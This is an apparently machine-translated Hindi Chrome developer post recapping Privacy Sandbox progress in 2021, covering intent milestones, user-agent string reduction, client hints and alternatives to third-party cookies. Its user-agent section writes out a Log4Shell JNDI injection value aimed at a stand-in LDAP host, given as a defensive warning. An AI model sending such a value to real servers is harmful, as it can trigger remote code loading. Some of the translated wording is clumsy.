प्राइवसी सैंडबॉक्स में अब तक की प्रोग्रेस (दिसंबर 2021)

प्राइवसी सैंडबॉक्स में, 2021 के रैप-अप एडिशन में आपका स्वागत है. इसमें, Chrome में तीसरे पक्ष की कुकी का इस्तेमाल बंद करने और ज़्यादा निजी वेब उपलब्ध कराने की दिशा में काम करने के तरीकों को ट्रैक किया जा रहा है. आम तौर पर, हम प्राइवसी सैंडबॉक्स की टाइमलाइन के अपडेट की खास जानकारी के साथ-साथ पूरे प्रोजेक्ट की खबरें शेयर करते हैं. हालांकि, दिसंबर महीना काफ़ी शांत रहा. इसके बजाय, हम 2021 में की गई कुछ गतिविधियों पर नज़र रहेगे और कुछ संभावित समाधान देंगे जिनसे पता चलेगा कि हम नए साल में हैं.

Chromium की डेवलपमेंट प्रोसेस

Chromium में वेब प्लैटफ़ॉर्म की नई सुविधा इस्तेमाल करने के लिए, इसे प्रोजेक्ट की ओपन डेवलपमेंट प्रोसेस से गुज़रना होगा. साल 2021 में, प्राइवसी सैंडबॉक्स की टीम ने ये चीज़ें बनाईं:

🥚प्रोटोटाइप बनाने का मकसद 19
🧪प्रयोग करने की इच्छासात
🚀भेजने का इरादा 11
सोर्स

हर माइलस्टोन, बड़े वेब नेटवर्क को योगदान देने का न्योता भी होता है.

प्रोटोटाइप के लिए इंटेंट ऐसा पहला चेकपॉइंट है, जहां हम चर्चा और शुरुआती प्रयोग का न्योता देते हैं. इसका मतलब है कि GitHub पर एक प्रस्ताव उपलब्ध होगा, जहां समस्या बनाकर सवाल पूछा जा सकता है या W3C और आईईटीएफ़ जैसे मानक ग्रुप में चर्चाओं और प्रज़ेंटेशन में शामिल हुआ जा सकता है. कोडिंग भी इसी शुरुआत से शुरू होती है. इसका मतलब है कि सुविधा फ़्लैग की मदद से, डेवलपर टेस्टिंग के लिए प्रोटोटाइप फ़ंक्शन उपलब्ध कराए जाने की उम्मीद की जा सकती है. प्रस्तावों की पुष्टि करने और उन्हें दोहराने के लिए शुरुआती सुझाव अहम है.

अगर हम ऑरिजिन ट्रायल के लिए अनुरोध करना चाहते हैं, तो एक्सपेरिमेंट के लिए इंटेंट एक वैकल्पिक चरण है. डेवलपर किसी सुविधा के ऑरिजिन ट्रायल के लिए साइन अप कर सकते हैं और उसके बाद प्रोडक्शन में उसकी जांच कर सकते हैं. इसे एक प्रयोग कहा जाता है, क्योंकि हमारे पास सुविधा के ऐसे खास पहलू हैं जिनकी हम असल दुनिया में पुष्टि करना चाहते हैं. जो डेवलपर उन जांच के नतीजों की जांच कर सकते हैं और उन्हें शेयर कर सकते हैं, वे इस सुविधा को बेहतर बनाने के लिए अहम सुझाव देते हैं.

शिपिंग के लिए इंटेंट आखिरी माइलस्टोन है, जिससे यह पता चलता है कि कोई सुविधा अब पूरी हो गई है और सामान्य रूप से उपलब्ध होने के लिए तैयार है. मंज़ूरी मिलने के बाद, इस सुविधा को आने वाले रिलीज़ में मर्ज कर दिया जाता है. इसके बाद, इसे कैनरी, बीटा, और स्टेबल चैनलों में बदल दिया जाता है. यह पक्का करना ज़रूरी है कि आप Chrome के कैनरी और बीटा वर्शन पर अपनी साइटों को टेस्ट करें, ताकि किसी सुविधा के स्टेबल होने से पहले, आप उसमें मौजूद किसी भी गड़बड़ी का पता लगा सकें और उसकी शिकायत कर सकें.

प्रस्ताव

प्राइवसी सैंडबॉक्स के हर प्रस्ताव में, GitHub पर डेटा स्टोर करने की जगह अलग-अलग होती है. डेटा स्टोर करने की जगह पर, पूरे फ़ंक्शन के बारे में खास जानकारी देने के लिए जानकारी दी जाती है. साथ ही, इसमें ब्राउज़र के काम करने के तरीके के बारे में खास जानकारी दी जाती है. इसके अलावा, समस्याओं और पुल के अनुरोधों के रूप में पूरे वेब नेटवर्क पर योगदान के बारे में बताया जाता है.

प्राइवसी सैंडबॉक्स के 14 डेटा स्टोर करने की जगहों में, हमारे पास ये थे:

💬545समस्याएं जनरेट की गईं
250समस्याएं बंद की गईं
🛠️261पुल के अनुरोध बनाए गए
223पुल के अनुरोध मर्ज किए गए
सोर्स

एक्सप्लेनर और खास निर्देशों की भाषा अक्सर ऐसे दर्शकों के लिए होती है जिन्हें स्टैंडर्ड और ब्राउज़र डेवलपमेंट के बारे में पहले से जानकारी है. अगर आपको इसके बारे में कोई जानकारी नहीं है, तो यह आपके लिए चुनौती भरा हो सकता है. हालांकि, जानकारी देने वाले का मकसद जानकारी देना होता है! अगर कुछ ऐसे पॉइंट हैं जो साफ़ नहीं हैं या साफ़ तौर पर नहीं दिए गए हैं, तो हम चाहते हैं कि आप समस्या के बारे में बताएं, ताकि हम समस्या को अपडेट कर सकें और उसे बेहतर तरीके से समझ सकें.

रिज़ॉल्यूशन

उपयोगकर्ता-एजेंट के स्प्रिंग की सफ़ाई

जैसे कि हम नए साल की गिनती कम कर रहे थे, इसलिए Chrome 100 और उपयोगकर्ता-एजेंट स्ट्रिंग में कमी, दोनों को बढ़ोतरी की गिनती में शामिल किया जा रहा है. अपने कोड में उपयोगकर्ता-एजेंट स्ट्रिंग के किसी भी तरह के इस्तेमाल की फिर से जांच करने का यह एक अच्छा तरीका है. इससे यह देखा जा सकता है कि क्या इन बदलावों में से किसी एक पर इसका असर हुआ है.

उन जगहों को ढूंढने के लिए:

  1. अपने JavaScript कोड में navigator.userAgent खोजें या अपने सर्वर कोड में User-Agent हेडर ऐक्सेस करें.
  2. दो अंकों वाले वर्शन का अनुमान लगाने के लिए, स्ट्रिंग को पार्स करने के अपने तरीके की जांच करें. उदाहरण के लिए, \d\d या \d{2} की जानकारी देने वाले रेगुलर एक्सप्रेशन को \d+ से बदला जाना चाहिए.
  3. स्ट्रिंग के इस्तेमाल की जांच करें और देखें कि इन जगहों पर आपको भरोसा है या नहीं:
    • प्लैटफ़ॉर्म (ऑपरेटिंग सिस्टम) वर्शन
    • Chrome का पूरा बिल्ड वर्शन
    • मोबाइल डिवाइस का नाम
  4. ये वैल्यू, आने वाले समय में तय स्ट्रिंग के तौर पर कम कर दी जाएंगी. अगर आपको इन वैल्यू का ऐक्सेस चाहिए, तो User-Agent Client Client पर जाएं.

दिसंबर में एक अपडेट जारी है. अगर आपने उपयोगकर्ता-एजेंट क्लाइंट हिंट का इस्तेमाल किया है, तो हमने <meta> टैग की मदद से इंटेंट को भेजने के लिए, एचटीएमएल में अन्य ऑरिजिन को हिंट देने की सुविधा चालू करने के लिए इंटेंट भेजा है. उदाहरण के लिए:

<meta name="accept-ch" content="sec-ch-ua-model=( https://foo.bar )">

अगर आपका मन है कि बसंत में साफ़-सफ़ाई करने का मन हो, तो उपयोगकर्ता-एजेंट के इस्तेमाल के दूसरे तरीके भी आज़माए जा सकते हैं. अगर इस स्ट्रिंग का इस्तेमाल मोबाइल डिवाइस का पता करने के लिए किया जा रहा है, तो जांच करें कि क्या इसे रिस्पॉन्सिव डिज़ाइन से बदला जा सकता है. अगर सुविधा के लिए ब्राउज़र के नाम और वर्शन की जांच की जा रही है, तो देखें कि इसके बजाय, सुविधा की पहचान करने की सुविधा का इस्तेमाल किया जा सकता है या नहीं.

इस बात का हमेशा ध्यान रखें कि किसी भी क्लाइंट की दी हुई वैल्यू की तरह, उपयोगकर्ता-एजेंट के भी सटीक होने की गारंटी नहीं होती या वह मौजूद भी नहीं होता. हाल ही की Log4j जोखिम की आशंका, "Log4shell", इस जोखिम का एक उदाहरण देती है. जो क्लाइंट अपनी उपयोगकर्ता-एजेंट स्ट्रिंग को ${jndi:ldap://example.com/file} जैसे वैल्यू को शामिल करने के लिए सेट करता है वह किसी साइट को सर्वर पर पार्स करने के लिए पा सकता है.

नए साल की एक और परंपरागत गतिविधि इस बात को पक्का करना है कि आपको इस बात की खुशी हो कि आपके पास अच्छी क्वालिटी की सामग्री वाली ढेर सारी कुकी हैं. हम तीसरे पक्ष की कुकी को बंद करने की दिशा में बढ़ रहे हैं. आपको यह पक्का कर लेना चाहिए कि आपको पता हो कि आपकी साइट की कौनसी कुकी पर असर पड़ेगा. 2020 से एक अच्छी शुरुआत हुई, क्योंकि SameSite=None के साथ सभी कुकी को क्रॉस-साइट या तीसरे पक्ष के इस्तेमाल के लिए मार्क करना ज़रूरी हो गया था.

जिस कुकी के लिए आपने SameSite एट्रिब्यूट को None पर सेट किया है उसे अपडेट करना होगा.

इस समय विचार करने के लिए तीन संभावित रास्ते हैं:

  1. अगर टॉप लेवल साइट के साथ सिर्फ़ 1:1 के संबंध में कुकी की ज़रूरत पड़ती है, तो सीएचआईपीएस के प्रस्ताव की प्रोग्रेस को फ़ॉलो करें. इसका मतलब है कि कुकी में Partitioned एट्रिब्यूट जोड़ा जाएगा.
  2. अगर कुकी का इस्तेमाल क्रॉस-साइट के लिए किया जाता है, लेकिन सिर्फ़ उन साइटों पर किया जाता है जिनका मालिकाना हक और जिन्हें चलाने का अधिकार आपके पास है, तो इसे पहले पक्ष के सेट के लिए चुना जा सकता है. इसके लिए, सेट में साइटों के बारे में बताना और कुकी में SameParty एट्रिब्यूट जोड़ना ज़रूरी है.
  3. अगर कुकी का इस्तेमाल कई साइटों में किसी एक तरह की शेयर की गई वैल्यू देने के लिए किया जाता है, तो प्राइवसी सैंडबॉक्स से जुड़े सुझावों के बड़े सेट की जांच करें. इससे, आपको ऐसा वैकल्पिक समाधान मिलेगा जो क्रॉस-साइट ट्रैकिंग पर निर्भर न हो.

अगर आपको खास तौर पर अपनी सेहत का ख्याल रखना है, तो यह सही समय है कि आप कुकी के इस्तेमाल से जुड़ी सभी तरह की नीतियों के बारे में फिर से जान लें. ऐसा इसलिए, क्योंकि हमारे पास आपकी पहले-पक्ष की कुकी को बेहतर बनाने के लिए अच्छी रेसिपी है.

सुझाव/राय दें या शिकायत करें

हम हर महीने इन अपडेट को पब्लिश कर रहे हैं और प्राइवसी सैंडबॉक्स के बारे में लगातार बढ़ रहे हैं. हम यह पक्का करना चाहते हैं कि डेवलपर को ज़रूरत की जानकारी और सहायता मिले. अगर इस सीरीज़ में कुछ ऐसा करना है जिसे हम बेहतर बना सकते हैं, तो हमें @ChromiumDev Twitter पर बताएं. हम फ़ॉर्मैट को बेहतर बनाने के लिए आपकी जानकारी का इस्तेमाल करेंगे.

प्राइवसी सैंडबॉक्स के बारे में अक्सर पूछे जाने वाले सवाल देखें. हम इन्हें डेवलपर सहायता रेपो में सबमिट की गई समस्याओं के आधार पर बढ़ाते हैं. अगर किसी प्रस्ताव की जांच या उसे लागू करने को लेकर आपका कोई सवाल है, तो हमसे संपर्क करें.